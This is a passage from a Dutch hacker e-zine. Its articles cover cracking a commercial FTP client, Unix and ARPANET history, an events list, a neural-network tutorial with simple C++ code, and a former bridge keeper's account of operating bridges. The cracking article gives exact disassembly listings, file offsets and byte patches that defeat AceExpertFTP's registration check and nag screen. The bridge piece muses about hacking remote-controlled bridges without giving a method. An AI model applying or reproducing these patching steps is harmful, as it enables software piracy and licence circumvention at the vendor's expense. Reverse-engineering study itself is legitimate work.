moussa.m@wanadoo.nl Laterz, Max Credits/Greetz: Argv[],Skeruno,Cinder,MrFloat,Asby,Thijs,F399,Taezz,Morphje+velen_anderen ------------------------------------------------------- 06. Crack AceExpertFTP ------------------------------------------------------- Ik heb alle nummers van H4H gelezen. En nadat ik twee artikelen tegenkwam over hoe je een programma crackt, besloot ik er ook een artikel over te schrijven, gewoon omdat ik daar (op dit moment) meer verstand van heb dan inbreken in systemen e.d. Ik zal zometeen uitleggen hoe je AceExpertFTP 1.31 crackt. AceXFTP is een GUI (Graphical User Interface) ftp client. Erg handig voor degene die niet met dos of telnet commando's verbinding kan maken met een ftp. En natuurlijk erg handig voor de newbie hackertjes die via ftp een passwd-filetje proberen te bemachtigen (blijf proberen kids). Je kunt AceXFTP krijgen op: http://www.visicommedia.com of je zoekt het op http://www.download.com Genoeg geklets over alles en nog wat, LETS CRACK! Programma's die je nodig hebt: -W32Dasm (te krijgen op www.protools.cjb.net of www.crackstore.com) -Hiew (idem) -Pen en papier (te jatten van je leraar zijn bureau) -Hersens (als het goed is heb je zoiets gekregen bij je geboorte, zo niet, surf dan naar: www.ineedbrains.com) Als je AceXFTP geinstalleerd hebt, open je AceXFTP.exe. Volgen jullie me nog? Heel goed. Zoek nu naar iets zoals een Register knop. Klik op Help, dan op Register... Vul je (nick)name in en een nummertje zoals 12345 en druk op [enter] Je krijgt nu een berichtje te zien, er staat zoiets als: Invalid registration number. Hmm, dat is niet het berichtje dat wij wilden zien. Of toch weer wel. In ieder geval is het beter dan helemaal geen berichtje. Schrijf het berichtje op of onthoudt het (als het niet al te veel moeite is). Oke, nu kunnen we AceXFTP afsluiten, maar hey, wat is dit nou, er komt elke keer als we afsluiten een "nag" tevoorschijn (een nag is een schermpje dat bij het opstarten of afsluiten tevoorschijn komt, meestal als het ongeregistreerd is). Daarin staat: Unregistered User. Schrijf die ook maar op. We hebben nu twee dingen op papier staan: -Invalid registration number. -Unregistered User. Maak nu een paar kopietjes van AceXFTP, 1 voor backup, 1 voor W32Dasm en 1 voor Hiew. Klaar..? Oke, dan kunnen we nu echt beginnen. Open W32Dasm en klik op die mooie knop helemaal linksboven met dat schijfje erop en dat zwarte pijltje dat naar dat mooie blauwe filetje wijst, of klik op Disassembler -> Open file to Disassemble... Selecteers nu AceXFTP.exe en klik op openen. Nu hangt het van de snelheid van je pc af hoe snel het klaar is met disassemble. Als het klaar is zie je de Disassembly listing. Dit is de ASM code van AceXFTP.exe We willen nu weten waar in de code het "foute" berichtje (Invalid registration number) staat. We klikken nu dus op de knop, naast de knop met de printer erop. Als je goed kijkt zie je Strn erop staan. Ref Er komt nu een schermpje met allemaal regels tevoorschijn. Het staat op alfabetische volgorde, scroll naar beneden totdat je "Invalid registration number." ziet staan. Dubbelklik erop totdat je hier terechtkomt: * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:004B13EB(C) <<----deze moeten we volgen. | :004B1471 6A30 push 00000030 * Possible StringData Ref from Code Obj ->"AceFTP" <<------titelbalk (caption) v.h. berichtje | :004B1473 B9B8144B00 mov ecx, 004B14B8 * Possible StringData Ref from Code Obj ->"Invalid registration number." <<----foute berichtje | :004B1478 BAC0144B00 mov edx, 004B14C0 <<----hier kwamen we precies terecht. Zie je 004B13EB(C), dat is de jump waar het slechte berichtje vandaan komt, om te kijken waar die slechte jump zich bevindt, druk je op Shift+F12 en vul je 004B13EB in en je klikt op OK. Dit komt nu tevoorschijn: :004B13B2 8D55F0 lea edx, dword ptr [ebp-10] :004B13B5 8B83D4020000 mov eax, dword ptr [ebx+000002D4] :004B13BB E84490F9FF call 0044A404 :004B13C0 8B55F0 mov edx, dword ptr [ebp-10] :004B13C3 8D4DFC lea ecx, dword ptr [ebp-04] :004B13C6 A128C84E00 mov eax, dword ptr [004EC828] :004B13CB 8B00 mov eax, dword ptr [eax] :004B13CD E8E2BE0000 call 004BD2B4 :004B13D2 8D55EC lea edx, dword ptr [ebp-14] :004B13D5 8B83D8020000 mov eax, dword ptr [ebx+000002D8] :004B13DB E82490F9FF call 0044A404 :004B13E0 8B55EC mov edx, dword ptr [ebp-14] :004B13E3 8B45FC mov eax, dword ptr [ebp-04] :004B13E6 E8452DF5FF call 00404130 :004B13EB 0F8580000000 jne 004B1471 <<---------------hier kwamen we terecht. :004B13F1 A128C84E00 mov eax, dword ptr [004EC828] :004B13F6 8B00 mov eax, dword ptr [eax] :004B13F8 C680A007000000 mov byte ptr [eax+000007A0], 00 :004B13FF 8D55E8 lea edx, dword ptr [ebp-18] :004B1402 8B83D8020000 mov eax, dword ptr [ebx+000002D8] :004B1408 E8F78FF9FF call 0044A404 :004B140D 8B45E8 mov eax, dword ptr [ebp-18] :004B1410 50 push eax :004B1411 8D55E4 lea edx, dword ptr [ebp-1C] :004B1414 8B83D4020000 mov eax, dword ptr [ebx+000002D4] :004B141A E8E58FF9FF call 0044A404 :004B141F 8B55E4 mov edx, dword ptr [ebp-1C] :004B1422 A128C84E00 mov eax, dword ptr [004EC828] :004B1427 8B00 mov eax, dword ptr [eax] :004B1429 59 pop ecx :004B142A E8A9C00000 call 004BD4D8 :004B142F 6A40 push 00000040 * Possible StringData Ref from Code Obj ->"AceFTP" <<----juist ja, caption v.h. goede berichtje. | :004B1431 B9B8144B00 mov ecx, 004B14B8 * Possible StringData Ref from Code Obj ->"Thank you for registering. The " <<---HEY, het goede ->"software is now registered in " <<---berichtje!! ->"your name." De jump (jne in dit geval) is precies de goede jump. Als er namelijk een verkeerd nummer wordt ingegeven, dan komt het goede berichtje niet tevoorschijn, vandaar de jne (jump if NOT equal). Nu komt het gedeelte waar je je hersens nodig hebt. Als we dus een fout nummer ingeven, komt het "foute" berichtje tevoorschijn. We moeten het progamma dus zo manipuleren dat als we een fout nummer ingeven, dat het goede berichtje tevoorschijn komt. Omdat te bereiken veranderen we die "jne" in een "je" zo zal het goede berichtje tevoorschijn komen als we een fout nummer ingeven. Nu we dit hebben, moeten we de offset hebben van het adres waar die "jne" op staat. Dubbelklik op de "jne" en kijk onderaan in W32Dasm, je ziet dit: @Offset 000B07EBh in file AceXFTP.exe De offset is hier: B07EB De nullen ervoor zijn niet nodig en de "h" erachter staat voor hex, die kun je ook weglaten. Schrijf de offset op. Nu gaan we Hiew gebruiken om de "jne" in een "je" te veranderen. Gebruik hier een kopietje van AceXFTP.exe voor en plaats hem in de map waar je Hiew in hebt staan. Open Hiew nu en selecteer AceXFTP.exe en druk op [enter] Je ziet nu weer allemaal code, maar zorg wel dat je de goede code voor je hebt. Druk op F4, je krijgt nu 3 opties: -Text -Hex -Decode Selecteer Decode en druk op [enter] -------------------------------------------------------------------------- Voor degene die gelijk in Decode mode terecht willen komen als ze een bestandje in Hiew openen. -------------------------------------------------------------------------- In je map waar je Hiew in hebt staan, staat ook een Hiew.ini, open die. Als je nu op de eerst regel kijkt, zie je zoiets als dit staan: StartMode = Text ; Text | Hex | Code Als je deze regel verandert in: StartMode = Code ; Text | Hex | Code dan start Hiew gelijk op in Decode mode. -------------------------------------------------------------------------- Waar waren we gebleven..?? O ja, je zit nu in Decode mode in Hiew, in AceXFTP.exe. We moeten nu naar de offset gaan die we opgeschreven hebben om de "jne" te veranderen. Druk op F5 en vul B07EB in en druk op [enter] je ziet nu dit: .004B13EB: 0F8580000000 jne /\ || hier staat de grijze cursor Ga nu 1 stap naar rechts met de cursor, je staat nu op 85. Deze 85 staat voor de jne. Omdat het een je moet worden, veranderen we die 85 in 84. Druk op F3, je krijgt nu een geel knipperend cursortje, typ 84 en druk op F9 (Update) De regel ziet er nu zo uit: .004B13EB: 0F8480000000 je Nu kunnen we afsluiten, druk op F10. Kopier de gepatchte AceXFTP.exe vanuit je Hiew map naar je AceFTP map. Open AceXFTP.exe opnieuw en probeer te registreren.....JAA, het goede berichtje. Even checke in de About-box of je naam er ook staat....bale, er staat nog steeds Unregistered User. En als we afsluiten komt die vervelende nag er weer voor. Maar niet getreurd, we geven niet zo snel op. Wat hadden we ook al nog meer opgeschreven: -Invalid registration number. en.. -Unregistered User. Hmmm, misschien moeten we er voor zorgen dat dat zinnetje oprot zodat onze naam er kan staan. Laten we dat maar gaan doen. Volg dezelfde procedure maar weer om AceXFTP.exe te disassemble met W32Dasm. Klik weer op de Strn knop. Ref Scroll naar beneden totdat je dit ziet: "Unregistered User" en dubbelklik erop. Je komt hier terecht: * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:004B5E10(C) <<----deze maar weer volgen. | :004B5E3E 8B45FC mov eax, dword ptr [ebp-04] :004B5E41 05A4070000 add eax, 000007A4 * Possible StringData Ref from Code Obj ->"Unregistered User" <<------foute zinnetje. Als je hiervoor een beetje hebt opgelet weet je nu wat je moet doen, ik zal nu in een paar stappen uitleggen hoe je dit oplost. Druk op Shift+F12 -> vul 004B5E10 in, klik op OK. Je komt hier terecht: :004B5DE8 B93C684B00 mov ecx, 004B683C :004B5DED 8B45F8 mov eax, dword ptr [ebp-08] :004B5DF0 E873CCFBFF call 00472A68 :004B5DF5 8B459C mov eax, dword ptr [ebp-64] :004B5DF8 50 push eax :004B5DF9 8D4D98 lea ecx, dword ptr [ebp-68] :004B5DFC 8B55F0 mov edx, dword ptr [ebp-10] :004B5DFF 8B45FC mov eax, dword ptr [ebp-04] :004B5E02 E8AD740000 call 004BD2B4 :004B5E07 8B5598 mov edx, dword ptr [ebp-68] :004B5E0A 58 pop eax :004B5E0B E820E3F4FF call 00404130 :004B5E10 752C jne 004B5E3E <<-------hier kwamen we terecht. Slechte jump. :004B5E12 8B45FC mov eax, dword ptr [ebp-04] :004B5E15 05A4070000 add eax, 000007A4 :004B5E1A 8B55F0 mov edx, dword ptr [ebp-10] :004B5E1D E8D2DFF4FF call 00403DF4 :004B5E22 8B45FC mov eax, dword ptr [ebp-04] :004B5E25 8B80A4040000 mov eax, dword ptr [eax+000004A4] :004B5E2B 33D2 xor edx, edx :004B5E2D E8CA4CFAFF call 0045AAFC :004B5E32 8B45FC mov eax, dword ptr [ebp-04] :004B5E35 C680A007000000 mov byte ptr [eax+000007A0], 00 :004B5E3C EB26 jmp 004B5E64 Deze "jne" zorgt ervoor dat Unregistered User blijft staan bij een fout ingevoerd serialnummer. We gaan hem dus veranderen in een "je". Noteer eerst de offset (B5210). Ga nu naar Hiew en open AceXFTP.exe (zorg dat je weer in Decode mode bent) druk op F5 -> vul offset in -> druk op [enter] en je ziet dit: .004B5E10: 752C jne Verander de 75 in een 74 en druk op F9, het ziet er nu zo uit: .004B5E10: 742C je ********************************************************** *NB: 0F85 en 75 staan voor jne. 0F84 en 74 staan voor je.* ********************************************************** Druk nu op F10 en kopier je (voor de 2e keer gepatchte) AceXFTP.exe naar je AceFTP map. Open AceXFTP nu weer en kijk es in je About box.....en....ja....JE NAAM STAAT ER. hoop ik, anders moet je nog ff een keer registreren en dan staat ie er dan wel. Sluit AceFTP nu af.....het nag is niet meer. Geweldig. Ik hoop dat jullie weer wat wijzer zijn geworden door dit artikel. By -CDM- ------------------------------------------------------- 07. De geboorte van een netwerk:Internet (deel 2) ------------------------------------------------------- Tijden veranderen, nicks veranderen, shit happens. Nu door met 't 2de deel van het artikel. Het onstaan van Unix: 1969-1973 In 1969 (in hetzelfde jaar dat ARPANET werd uitgevonden) ontwikkeld Ken Thompson van Bell Labs (samen met Dennis Ritchie en Joseph Osanna) de eerste versie van Unix. Als hardware gebruikten ze de PDP-7 van Digital Equipment Corporation (DEC). De software had Thompson zelf geschreven. Het Unix-systeem van Thompson vertoont geen gelijknis met het moderne Unix. Het moderne Unix is bijvoorbeeld een multi-usersysteem. (Dat wil zeggen dat verschillende gebruikers simultaan op één Unix-machine kunnen werken.) Thompsons eerste prototype daarentegen was een single-usersysteem en een naakt besturingssysteem. Wat wordt er bedoeld met de term naakt? Wanneer je aan een besturingssyteem denkt, stel je je waarschijnlijk iets voor met basisprogramma's, texteditors, helpbestanden, een grafische gebruiksinterface, netwerkprogramma's enz enz. Dat komt doordat huidige systemen voor eindgebruikers tegenwoordig uiterst complex zijn en een gebruiksvriendelijke structuur hebben. Het eerste Unix-systeem was echter totaal anders. Om te kunnen functioneren beschikte het alleen maar over de meest elementaire hulpprogramma's. Je moet je even in de plaats van stellen van Thompson. Voordat je tientallen complexe programma's ontwerpt, zoals de programmma's die we zojuist hebben genoemd, word je met een veel praktischer taak geconfronteerd: je moet er namelijk in slagen het systeem te booten. Thompson slaagde er uiteindelijk in zijn systeem te laten opstarten. Hij werd echter met talloze problemen geconfronteerd. Een daarvan was dat de programmeertaal die hiervoor werd gebruikt daar niet echt geschikt voor was. Maar ook hier hielp het noodlot een handje. Op dat ogenblik ontwikkelden andere onderzoekers bij Bell Labs (Dennis Ritchie en Brian Kernighan) een nieuwe programmeertaal, namelijk C. Over C C wordt vaak gebruikt om besturinngssystemen en compilers voor programmeertalen te schrijven. C is van grote invloed geweest op de ontwikkeling van Internet. Tegenwoordig zijn bijna alle toepassingen die communicatie via Internet mogelijk maken geschreven in C. Zowel Unix (dat de basisstructuur vormt van Internet) als TCP/IP (de verzameling protocollen die gegevens verstuurt via Internet) werd in C ontwikkeld. Als C er niet was geweest, had Internet zoals we het nu kennen nooit bestaan. Er zijn diverse redenen waarom C zo populair is: * C is klein en efficient; * de code in C kan gemakkelijk van het ene besturingssysteem naar het andere worden overgedragen; * C is gemakkelijk en snel te leren. De onderzoekers bij Bell Labs waren zich alleen van de eerste reden bewust toen ze Unix in C herschreven. Dat is namelijk wat ze deden. Thompson en Ritchie plaatsten Unix op een DEC PDP-11/20. Vanaf dat moment maakte Unix een enorme ontwikkeling door. Tussen 1970 en 1973 werd Unix volledig in C herschreven. Dit betekende een belangrijke vooruitgang. Bovendien werden er veel bugs verholpen die inherent waren aan het oorspronkelijke Unix-systeem. De vormingsjaren van Internet: 1972-1975 Ik laat de verdere ontwikkeling van Unix en C even rusten, omdat er tussen 1972 en 1975 op andere gebieden vooruitgang werd geboekt. Deze vooruitgang bepaalde de in hoge mate hoe en waarom Unix als besturingssysteem voor Internet werd gekozen. In 1972 had ARPANET ongeveer veertig hosts. (Tegenwoordig hebben de meeste local area networks, LAN's, er meer.) In dat jaar veranderede een medewerker van Bolt, Beranek, and Newman Inc., te weten Ray Tomlinson, voorgoed de communicatie op Internet. Tomlinsen ontwikkelde de elektronische post, kortweg e-mail. Tomlinsons uitvinding was waarschijnlijk de belangrijkste ontdekking in de computergeschiedenis. E-mail maakte immers eenvoudige, efficiente en goedkope communicatie mogelijk. Dit resulteerde in open uitwisseling van ideeën en samenwerking tussen verschillende soorten onderzoekers in meerdere staten. Doordat een e-mailbericht meerdere ontvangers kon hebben, waren ideeën sneller op de plaats van bestemming en werden ze sneller uitgevoerd. Dit was in feite de geboorte van het Net. In 1974 werd er nog een belangrijke ontdekking gedaan: Vinton Cerf en Robert Khan vonden het Transmission Control Protocol (TCP) uit. Dit protocol was een nieuw hulpmiddel waarmee men gegevens bit voor bit kon uitwisselen via een netwerk en waarmee men die fragmenten aan het andere uiteinde opnieuw kon samenvoegen. Omstreeks 1975 was ARPANET een volledig functioneel netwerk. Het belangrijkste werk was achter de rug, en dus vond de Amerikaanse overheid het tijd worden de boel op te eisen. Datzelfde jaar werd de controle van het ARPANET overgedragen aan een organisatie met de naam United States Defense Communications Agency. (De naam van deze organisatie werd later gewijzigd in Defense Information Systems Agency.) Nu hoefde men alleen nog een besturingssysteem te kiezen voor ARPANET. De keuze viel uiteindelijk op Unix. De redenen hiervoor zijn nogal ingewikkeld. Ik bespreek ze in de volgende deel. Rath aka Rath_x rath_x@subdimension.com ------------------------------------------------------- 08. Evenementen ------------------------------------------------------- Wet bescherming Persoonsgegevens Avondlezing URL: ??? (Tel: 030-2844510) Datum: 15 november 2001 Locatie: Utrecht -- E-Government Avondlezing URL: ??? (Tel: 030-2844510) Datum: 22 november 2001 Locatie: Amsterdam -- HCC Dagen Geen verderdere toelichting nodig ;) URL: http://www.hccdagen.nl/ Datum: 23 t/m 25 november 2001 Locatie: Jaarbeurs Utrecht -- Smart Business Event 2001 Internet in Business, Mobile & Wireless, Media & Markets en ICT Career Days URL: http://www.infocare.com/events/mde-corporate.html Datum: 26 t/m 28 november 2001 Locatie: Rai in Amsterdam -- Linux Kongresse Met oa lezingen over Kernel Hacking URL: www.linux-kongress.org Datum: 28 t/m 30 november 2001 Locatie: TU Enschede -- Voice-over-IP Wanneer VoIP inzetten?, Hoe ver is de techniek?, En hoe ziet de toekomst eruit? Verder nog een speciale Video-over-IP track en diverse praktijkcases. URL: http://www.infocare.com/events/voiceover-ip2.html Datum: 4 december 2001 Locatie: Ahoy' Amsterdam -- BRAQ Dit is wat er verder (min of meer) vaststaat: Alcohol - Wiet - Caffeine (Jolt) Computers - Internet - Files - Games Guests from: #h4h #hit2000 #tuxtendo #braq - Eerst ff vragen of je mag komen, invite only Small entree fee (max. f 10) Haarlem, kewl old building, Waarschijnlijk slaapruimte ADSL 1024/256kbit inet +- 35-40 pple URL: http://dokterbob.xs4all.nl/braq Datum: 21 t/m 23 dec. Of 4 t/m 6 Jan. Locatie: Haarlem -- Gelderlan GelderLAN 2001 is de 2e editie van GelderLAN en zal plaats bieden aan 125 bezoekers met als doel het spelen van computergames en het sociale gebeuren daar om heen. Daarnaast organiseert GelderLAN 2001 een aantal competities in de meest populaire spellen, en heeft een daarbij altijd een coole prijs voor de winnaar. URL: http://gelderlan.aalderingict.net/ Datum: 27/28/29 dec. 2001 Locatie: Liemers College te didam -- Outerbrains 2K2 Outerbrains 2K2 is de opvolger van Bizarre en voor een groot deel door H4H georganiseerd. Het is een competitie gebaseerd evenement, dat betekend dat er diverse wedstrijden op gebied van zowel de demo-scene als hackers-scene zullen plaatsvinden. Hierbij is te denken aan diverse programmeer wedstrijden voor realtime 3d presentaties, muziek competities, computer getekende afbeeldingen en algoritme hacks. In iedergeval 3 dagen non-stop plezier! URL: http://www.outerbrains.nl Datum: 27/28/29 Sept. 2002 Locatie: 'De Nobelaer' te Etten-Leur -- Dit zijn de evenementen voor de komende periode. Mochten we evenementen gemist hebben en waarvan jij vindt dat ze er bij moeten staan mail dat dan naar h4h-redactie@hackers4hackers.org ------------------------------------------------------- 09. Artificieele Neurale Netwerken ------------------------------------------------------- Waarom een tutorial over neurale netwerken? Omdat neurale netwerken een vrij nieuwe manier van programmeren is. Het is ipv de ouderwetse 'symbolische' computing (de Von Neumann machine) een hele parallelle manier van informatie verwerking. Het wordt steeds belangrijker en vaker gebruikt. Deze tutorial leert je wat NNs zijn en hoe je simpele NNs kan coden. De links onderaan bevatten genoeg info om je eigen OCR prog of zo te programmeren. NNs Heb je je ooit afgevraagd hoe die speech recognition, OCR progs enz werken? Het is eigenlijk best wel simpel... Ze processen hun data mbv dingen genaamd Neurale Netwerken. Je hersenen zijn ook neurale netwerken (NNs). Ze bestaan uit neuronen. Neuronen zijn de processing units in het NN. De hersenen zijn biologische NNs, ik heb het in deze tutorial over Artificieele NNs (ANNs). ANNs zijn gebaseerd op het biologische NN model. Ze bezitten ook neuronen en axons (de verbindingen tussen de neuronen). Hier ff een tekening ter verduidelijking: I1----\ |--- N -> output I2----/ --\_ = axon (synaps) I = input N = neuron Dit is een simpel neuron met 2 inputs (geen netwerk dus). In een NN wordt de output van de ene neuron doorgegeve aan de andere neuren (in NNs genaamd "feedforward NNs" worden ze alleen doorgegeven naar de volgende laag neuronen (zie tekening hieronder) en in NNs genaamd "feedback NNs" kunnen ze aan elk willekeurig neuron in het hele netwerk worden doorgegeven). De axons hebben een bepaalde waarde, genaamd weight. Als een waarde over deze axons naar een neuron gaat wordt het vermenigvuldigt met deze waarde. Een neuraal netwerk met 3 lagen en 3 inputs: I1 I2 I3 ---Laag van inputs (bijv. kleur van pixels in RGB) | | | ---de "axons" oftewel verbindingen tussen de neuronen | | | N N N ---de neuron-inputlaag \__ __/\__ __/ ---ook axons \ / \/ N N ---de zgn. "hidden layer" (elke laag \__ __/ neuronen tussen de input en output laag heet hidden) \/ N ---de outputlaag | output ---de output (bijv. een ascii waarde als het ging om herkenning van een char uit een bmp of zo) Dit is dus een feedforward net, de neuronen versturen hun output alleen verder naar de volgende laag. Dit is het simpelste NN van de twee. NNs worden dus gebruikt voor patroonherkenning. Dit kan zijn in spraak, foto's, maar voortaan worden ze ook gebruikt in de medische wereld om diagnoses te schrijven, ipv dat een chirurg dat doet. Ook worden ze gebruikt voor beleggen. Dan voorspellen ze koersen en zo door van oudere koersen te leren. Ze zijn vaak precieser dan mensen in voorspellen. Het Neuron Het neuron voert eerst een optelling op van alle waarden die via de axons zijn binnengekomen. (Het neuron kan ipv optellen ook het hoogste of laagste getal nemen, een logische operator uitvoeren als het om een binair NN gaat of wat dan ook om tot een bepaalde waarde te komen.) Na deze optelling vergelijkt de neuron de waarde die hij heeft gevonden met zijn "threshold". Dit kan een functie zijn (bijvoorbeeld een hyperbolische sinus of zo) en vergelijkt die waarde dan met een waarde of de neuron moet vuren (een bepaalde output hebben) of niet, en als hij wel een output heeft dan kijkt hij hoe groot deze output is (tenzij het binair is, dan is het gewoon 1 of 0...). Leren Een NN "leert" (het wordt dus niet kant en klaar geprogrammeerd, het moet eerst nog getraind worden om bijvoorbeeld spraak of zo te herkennen) door de waarden van zijn 'axons' aan te passen aan de hand van een getal genaamd de error waarde. (Maar er zijn tegenwoordig ook NNs die grotendeels door een genetisch algoritmen worden geprogrammeerd.) Je hebt 2 manieren van leren, supervised en unsupervised. De eerste is het simpelst en meest gebruikt. Hieronder een voorbeeld (en de c++ code die onderaan staat) van supervised training. Unsupervised wil zeggen: het NN deelt zelf dingen in. Het maakt groepen van dingen die het herkent als overeenkomende. Bij supervised training is het antwoord al bekend, en wordt het vergeleken met het antwoord dat het NN geeft. Als dit niet klopt worden de weights aangepast. Over supervised training is veel meer bekend dan unsupervised. Ik zal hier beneden het simpelste voorbeeld van een leerfunctie geven, van een binair ANN, dat een logische operator (AND operator) leert. Het is eigenlijk geen netwerk maar gewoon 1 neuron (meer is niet nodig voor het leren van zo'n simpele opdracht als het uitvoeren van een logische functie). Om het ANN te trainen heb je de tabel van de AND operator nodig: 0 0 -> 0 0 1 -> 0 1 0 -> 0 1 1 -> 1 Het neuron in mijn voorbeeld gebruikt de (binaire) Hebb learning rule: if(input > THRESHOLD) output = 1 if(input < THRESHOLD) output = 0 Input is dus de optelling van de binnenkomende waarden. De Hebb learning rule past de weights van de axons zo aan: nieuwe gewicht = oude gewicht + a * doel * input a = de zgn learning rate. Dit is een getal dat je zelf kan instellen. Als de learningrate groot is gaat het leren sneller dan met een kleine learningrate, maar het is onnauwkeuriger. Nog een schematisch voorbeeld van uitgevoerde functies in het voorbeeld: 2 inputs -> vermenigvuldigt met de weight van de axons -> opgeteld door het neuron -> neuron vergelijkt met threshold -> neuron geeft output -> Hebb learning rule checkt of het klopt, zo ja dan doet het niets, als het niet klopt past het de weight aan (de supervised versie van de Hebb rule tenminste). Dit is een erg simpel voorbeeld. Je snapt wel dat ANNs die dingen doen als spraakherkenning complexer zijn, maar ze werken via hetzelfde principe. Ze bevatten meerdere neuronen en meerdere lagen neuronen. Het gemiddelde ANN bestaat uit 10 neuronen. De hersenen bevatten er zo'n 100 miljard. De C++ code voor bovenstaand voorbeeld (de code stelt nix voor, het is maar om je een idee te geven van hoe het ongeveer werkt): //----------------------------------------------------------------- /* De code dus. Hij is niet Object Oriented omdat ik dat niet nodig vind voor zoiets simpels. als het NN meerdere layers krijgt is da wel handig. Doe ermee wat je wil :) description: een neuron die de AND logic operator leert dmv supervised training met de Hebb learning rule. je kan dingen aanpassen om te kijken hoe het trainen beter zou kunnen (de learningrate bijvoorbeeld). */ #include #include #define WEIGHT 0 #define THRESHOLD 0 #define LEARNINGRATE 0.05 #define BIAS -1 //bias is een getal dat na de optelling //van het totaal wordt opgeteld bool neuron(float inputOne, float inputTwo) { if((inputOne + inputTwo)+BIAS > THRESHOLD) return 1; return 0; } bool and(int inputOne, int inputTwo) { if(inputOne == 0 && inputTwo == 0) return 0; if(inputOne == 0 && inputTwo == 1) return 0; if(inputOne == 1 && inputTwo == 0) return 0; if(inputOne == 1 && inputTwo == 1) return 1; exit(0); } int main() { float weight = WEIGHT; int count = 0; int inputOne, inputTwo; cout << "\nTraining..." << endl; for(;;) { count++; if(count == 1) { inputOne = 0; inputTwo = 0; } if(count == 2) { inputOne = 0; inputTwo = 1; } if(count == 3) { inputOne = 1; inputTwo = 0; } if(count == 4) { inputOne = 1; inputTwo = 1; } weight = weight + LEARNINGRATE * (inputOne + inputTwo) * and(inputOne, inputTwo); if(count==4) count = 0; if(neuron(weight*0, weight*0) == 0 && neuron(weight*0, weight*1) == 0 && neuron(weight*1, weight*0) == 0 && neuron(weight*1, weight*1) == 1 ) break; } cout << "Neuron getrained, weight = " << weight << endl << endl; cout << "0 AND 0 -> " << neuron(weight*0, weight*0) << endl; cout << "0 AND 1 -> " << neuron(weight*0, weight*1) << endl; cout << "1 AND 0 -> " << neuron(weight*1, weight*0) << endl; cout << "1 AND 1 -> " << neuron(weight*1, weight*1) << endl; return 0; } //----------------------------------------------------------------- Links naar sites over ANNs: http://www.dacs.dtic.mil/techs/neural/neural_ToC.html een boek over ANNs http://www.shef.ac.uk/psychology/gurney/notes ook een boek http://foobar.starlab.net/~degaris het grootste ANN dat er momenteel is (gemaakt mbv GA/CA) Tutorial en code door s1L1c0n 18/06/2001 (PS: Ik ben geen hacker maar gewoon iemand die (heel erg) is geinteresseerd in dit onderwerp en er alles over wil leren (of is dat een hacker? :) Als je relaxe tutorials hebt over NNs of andere AI onderwerpen kun je ze naar me mailen: losertje1984@hotmail.com. grtz) ------------------------------------------------------- 10. Plezier met Bruggen ------------------------------------------------------- Eerst even voor de duidelijkheid; bruggen zijn groot/zwaar/lomp, heel duur en gevaarlijk. Spelen met bruggen mag alleen gebeuren door daarvoor bevoegde personen! enz. en er is ook nog verkeer!! autos, fietsers, boten (een geladen vrachtschip weegt rustig een paar honder ton en remt echt niet snel) In een ver verleden ben ik ergens in zh ooit eens brugwachter geweest. Zo n lief plaatsje met heel veel bruggen. De meeste bruggen worden met de hand bediend, maar we hadden er ook een paar (drie, hmm) op afstand. Eerst maar ff de basics van het bedienen van een brug uitleggen, dan ga ik daarna wel het een en ander vertellen over afstandbediende bruggen. Handbediende bruggen werken inprincipen het zelfde als de al eerder door Tozz (h4h-04/12.txt) behandelde stoplichtkasten. Het mechanischgedeelte van de brug is aangesloten op een mooie kast met relais/pcl (?), deze stuur je (met de hand) aan, gewoon een doos met knopjes, open/dicht, noodstop, zachte stop en de bediening van de verkeerslichten. Het is wel zo makkelijk als je de knopjes in de goede volgorde indrukt anders doet i als nog niets (het wordt saai zo, maar het is ff nodig voor de ab bruggen straks). ----------------------------- stap nul; stroom, sleutel omdraaien of een vergelijkbare handeling stap een; aanzetten, de noodstop er afhalen anders gaan er wel lichtjes knipperen maar doet i niets stap twee; (meestal geen fysieke handeling voor nodig/alleen bij oude bruggen) de wegdekvergendeling losmaken ...vaak zit het stuk dat open kan vast aan de rest van de brug met een paar grote haken, kijk maar eens bij wat ouder bruggen aan de zijkant, vlak voordat het dek omhooggaat schuiven daar eerst flinke stukken staal uit :-) stap drie; verkeerslichten voor het weg- en vaar- (boten/schepen duh) verkeer goed zetten, zie bijlage 1 stap vier; (hangt van de brug af) slagbomen (voor het wegverkeer) naar beneden laten, zodat straks niemand in de plomp ligt stap vijf; eindelijk de brug open doen, het dek omhoog laten komen (op de knop open drukken) stap zes; (hangt van de brug af) wachten tot i helemaal open is of een ram op de zachte (of nood) stop geven ... het verschil tussen een noodstop en een zachte stop is, vooral dat je na een zachte stop weer gewoon kan verder gaan met een volgende stap (open of dicht van de slagbomen of de brug zelf) en bij een noodstop je eerst de stroom weer aan moet zetten/de noodstop er af moet halen :-) ...... goed de brug is nu open/omhoog/weetikveel stap zeven; dicht doen/laten zakken/weetikveel, je raad het al op de knop dicht douwen (en de stappen in omgekeerde volgorde doorlopen, maar dat gaat vaak automatisch, niet vergeten de zooi ook weer uit te zetten, noodstop indrukken, sleutelterugdraaien) Er zijn bij handbruggen wel wat variaties met de stappen mogelijk (zonder dat er iets verkeert gaat), abbruggen werken voor zover ik weer volgens een vast protocol, wijk je af van de volgorde gebeurt er niets. Als je een ab brug zou willen hacken kan je het best gewoon een tijd je kijken wat er allemaal gebeurt als jou brug open en dicht gaat, je weet nu teminsten welke stapen de brug maakt ab bruggen volgen (ongeveer) de stappen zoals net uitgelegt. Maar ze ook vanaf je pctje thuis bedienen zal tegenvallen... Hier alvast wat dingetjes die ik weet en of vermoed :-)) De meeste (ab)bruggen staan worden alleen overdag bedient, snachts staat de hele shit uit en zal je er weinig mee kunnen (of juist wel, geen idee, als je kan uitvinden langs welk kanaal de comm. tussen de abbrug en de werkplek gaat boeid het niet zo) Ze draaien, net zo als in het stoplichten verhaal, op simpele hardware. De bruggen waar ik werkte werden aangestuur door een 486/ 25 oid, met daarop een (grafisch) dosprog. dat liet zien wat er met de brug gebeurde (verkeerslichten/slagbomen/open of dicht). Daar onder (?) draaide een programma wat de relais/pcls van de brug aanstuurt. Dat prog. was geknutseld door een bruggebouwer en draaide ook onder dos. (ja sorri voor het gebrek aan detail) Goed, van uit het brugwachtershuisje, je moet toch ergens zitten, kon je de bovengenoemde pc bedienen door braaf op een paar knopjes te drukken. De pc komt eigenlijk niet voor in de belevingwereld van een brugwachter, je ziet wat monitoren en je heb een stuk of wat knopjes. De pc staat netjes verstopt (die lui verdienen ongeveer evenveel als een vuilnisman, als ze er achter komen dat ze met een compu werken willen ze meer geld :-) ) Het eerste wat er sochtens gebeurt in het brugwachters huisje is koffie zetten, natuurlijk. Dan de bruggen aanzetten; sleutel omdraaien, werkscherm aanzetten (de monitor waar je naar 